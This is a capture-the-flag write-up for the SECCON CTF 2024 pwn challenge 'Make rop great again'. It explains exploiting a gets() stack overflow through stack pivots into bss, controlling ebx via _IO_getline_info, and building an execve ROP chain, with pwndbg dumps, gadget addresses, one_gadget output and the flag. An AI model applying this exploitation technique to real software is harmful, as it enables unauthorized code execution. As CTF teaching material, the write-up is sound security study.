Make rop great again - SECCON CTF 2024
This writeup was originally posted on my github.
No pie, NX bit set, no canary
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
Bug:
Stack buffer overflow in the main function using gets()
.
Exploit:
In this challenge we can’t perform classic ret2libc attack here because there is no pop rdi; ret
gadget in the binary. But we can control the first argument of gets call by jumping in the middle of main function.
0x00000000004011be <+17>: lea rax,[rbp-0x10] 0x00000000004011c2 <+21>: mov rdi,rax 0x00000000004011c5 <+24>: mov eax,0x0 0x00000000004011ca <+29>: call 0x401080 <------ gets
Stack pivot to bss (0x404500
) and call gets in there, which will leave some libc function addresses in bss.
22:0110│-410 0x404410 —▸ 0x6fff552038e0 (_IO_2_1_stdin_) ◂— 0xfbad208b23:0118│-408 0x404418 —▸ 0x6fff552045c0 (_IO_2_1_stdout_) ◂— 0xfbad288724:0120│-400 0x404420 —▸ 0x404460 —▸ 0x404480 —▸ 0x4044e0 —▸ 0x404520 ◂— ...25:0128│-3f8 0x404428 —▸ 0x6fff55092795 (__GI__IO_file_underflow+357) ◂— test rax, rax26:0130│-3f0 0x404430 ◂— 027:0138│-3e8 0x404438 —▸ 0x6fff552038e0 (_IO_2_1_stdin_) ◂— 0xfbad208bpwndbg>28:0140│-3e0 0x404440 —▸ 0x6fff55202030 (_IO_file_jumps) ◂— 029:0148│-3d8 0x404448 ◂— 0x7fffffe02a:0150│-3d0 0x404450 —▸ 0x6fff55203964 (_IO_2_1_stdin_+132) ◂— 0x55205720000000002b:0158│-3c8 0x404458 —▸ 0x6fff552038e0 (_IO_2_1_stdin_) ◂— 0xfbad208b2c:0160│-3c0 0x404460 —▸ 0x404480 —▸ 0x4044e0 —▸ 0x404520 —▸ 0x404820 ◂— ...2d:0168│-3b8 0x404468 —▸ 0x6fff550955c2 (_IO_default_uflow+50) ◂— cmp eax, -12e:0170│-3b0 0x404470 —▸ 0x404830 ◂— 02f:0178│-3a8 0x404478 —▸ 0x6fff552038e0 (_IO_2_1_stdin_) ◂— 0xfbad208bpwndbg>30:0180│-3a0 0x404480 —▸ 0x4044e0 —▸ 0x404520 —▸ 0x404820 —▸ 0x4047c0 ◂— ...31:0188│-398 0x404488 —▸ 0x6fff55086f6a (_IO_getline_info+170) ◂— cmp eax, -132:0190│-390 0x404490 ◂— 033:0198│-388 0x404498 ◂— 0x552038e034:01a0│-380 0x4044a0 —▸ 0x404811 ◂— 0x6262626262626262 ('bbbbbbbb')35:01a8│-378 0x4044a8 ◂— 0xa /* '\n' */36:01b0│-370 0x4044b0 —▸ 0x6fff552f0740 ◂— 0x6fff552f074037:01b8│-368 0x4044b8 —▸ 0x404810 ◂— 0x6262626262626262 ('bbbbbbbb')pwndbg>38:01c0│-360 0x4044c0 —▸ 0x6fff552038e0 (_IO_2_1_stdin_) ◂— 0xfbad208b39:01c8│-358 0x4044c8 —▸ 0x404020 (stdin@GLIBC_2.2.5) —▸ 0x6fff552038e0 (_IO_2_1_stdin_) ◂— 0xfbad208b3a:01d0│-350 0x4044d0 ◂— 03b:01d8│-348 0x4044d8 —▸ 0x6fff5532d000 (_rtld_global) —▸ 0x6fff5532e2e0 ◂— 03c:01e0│-340 0x4044e0 —▸ 0x404520 —▸ 0x404820 —▸ 0x4047c0 ◂— 03d:01e8│-338 0x4044e8 —▸ 0x6fff550871de (gets+366) ◂— mov rcx, qword ptr [r13]3e:01f0│-330 0x4044f0 ◂— 03f:01f8│-328 0x4044f8 ◂— 0pwndbg>40:0200│-320 0x404500 —▸ 0x7ffed16a86b8 —▸ 0x7ffed16a92a3 ◂— './chall_patched'41:0208│-318 0x404508 ◂— 142:0210│-310 0x404510 ◂— 043:0218│-308 0x404518 —▸ 0x403dc8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401140 (__do_global_dtors_aux) ◂— endbr6444:0220│-300 0x404520 —▸ 0x404820 —▸ 0x4047c0 ◂— 045:0228│-2f8 0x404528 —▸ 0x4011cf (main+34) ◂— mov eax, 0
Stack pivot again (0x404800
) to preserve the libc address. We can now use the add_addr32
gadget to build execve rop chain in bss.
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
But we don’t have control of the ebx
register here? And there are no gadgets which lets us control ebx
.
or is it?
There was a similar challenge in Project sekai ctf 2022 where the author found a way to control ebx
by overwriting saved rip
of _IO_getline_info
function which is called inside the gets()
call.
► 0x7eb0cc486f9e <_IO_getline_info+222> pop rbx RBX => 0x22897 <----- Control ebx/rbx 0x7eb0cc486f9f <_IO_getline_info+223> pop r12 R12 => 0 0x7eb0cc486fa1 <_IO_getline_info+225> pop r13 R13 => 0 0x7eb0cc486fa3 <_IO_getline_info+227> pop r14 R14 => 0 0x7eb0cc486fa5 <_IO_getline_info+229> pop r15 R15 => 0 0x7eb0cc486fa7 <_IO_getline_info+231> pop rbp RBP => 0x404465 0x7eb0cc486fa8 <_IO_getline_info+232> ret <main+40>
How can we control overwrite saved rip
of _IO_getline_info
?
Set the first argument of gets()
call to rsp-0x70
(or something closer, 0x70 worked for me).
Now we collected all the pieces to exploit the program. Build a rop chain in bss using leftover food and stack pivot AGAIN to trigger the rop.
Final rop chain in bss:
25:0128│-320 0x404428 —▸ 0x7eb0cc4b502c (strndup+76) ◂— pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret26:0130│-318 0x404430 ◂— 027:0138│-310 0x404438 —▸ 0x7eb0cc6038e0 (_IO_2_1_stdin_) ◂— 0xfbad208bpwndbg>28:0140│-308 0x404440 —▸ 0x7eb0cc602030 (_IO_file_jumps) ◂— 029:0148│-300 0x404448 ◂— 0x7fffffe02a:0150│-2f8 0x404450 —▸ 0x7eb0cc603964 (_IO_2_1_stdin_+132) ◂— 0xcc605720000000002b:0158│-2f0 0x404458 —▸ 0x7eb0cc510a4d (eval_expr_multdiv+157) ◂— pop rsi2c:0160│-2e8 0x404460 ◂— 02d:0168│-2e0 0x404468 —▸ 0x7eb0cc50f75b (__spawnix+875) ◂— pop rdi2e:0170│-2d8 0x404470 —▸ 0x404830 ◂— 02f:0178│-2d0 0x404478 —▸ 0x7eb0cc4eef34 (execve+4) ◂— mov eax, 0x3b; syscall
PS: A friend said one gadget worked fine lol. It wasn’t that bad to build rop either :P
And today I learned pwndbg has onegadget implementation where it shows gadgets based on current context and it SAT checks the gadget. Thats a big W, now you don’t have to peek memory manually for every gadget. Thanks to the pwndbg team <3
pwndbg> onegadgetUsing libc: ./libc.so.6
0x1111aa posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x48], 0, rsp+0x70, [rsp+0xf0])+----------+---------------------------------------------------------------------------------------------+| Result | Constraint |+==========+=============================================================================================+| SAT | [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv |+----------+---------------------------------------------------------------------------------------------+| SAT | [[rsp+0xf0]] == NULL || [rsp+0xf0] == NULL || [rsp+0xf0] is a valid envp |+----------+---------------------------------------------------------------------------------------------+| SAT | [rsp+0x48] == NULL || (s32)[[rsp+0x48]+0x4] <= 0 |+----------+---------------------------------------------------------------------------------------------+
0x1111b2 posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x48], 0, rsp+0x70, r9)+----------+---------------------------------------------------------------------------------------------+| Result | Constraint |+==========+=============================================================================================+| SAT | [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv |+----------+---------------------------------------------------------------------------------------------+| SAT | [r9] == NULL || r9 == NULL || r9 is a valid envp |+----------+---------------------------------------------------------------------------------------------+| SAT | [rsp+0x48] == NULL || (s32)[[rsp+0x48]+0x4] <= 0 |+----------+---------------------------------------------------------------------------------------------+
Found 2 SAT gadgets.Found 15 UNSAT gadgets.Found 0 UNKNOWN gadgets.
Flag: SECCON{53771n6_rd1_w17h_6375_m4k35_r0p_6r347_4641n}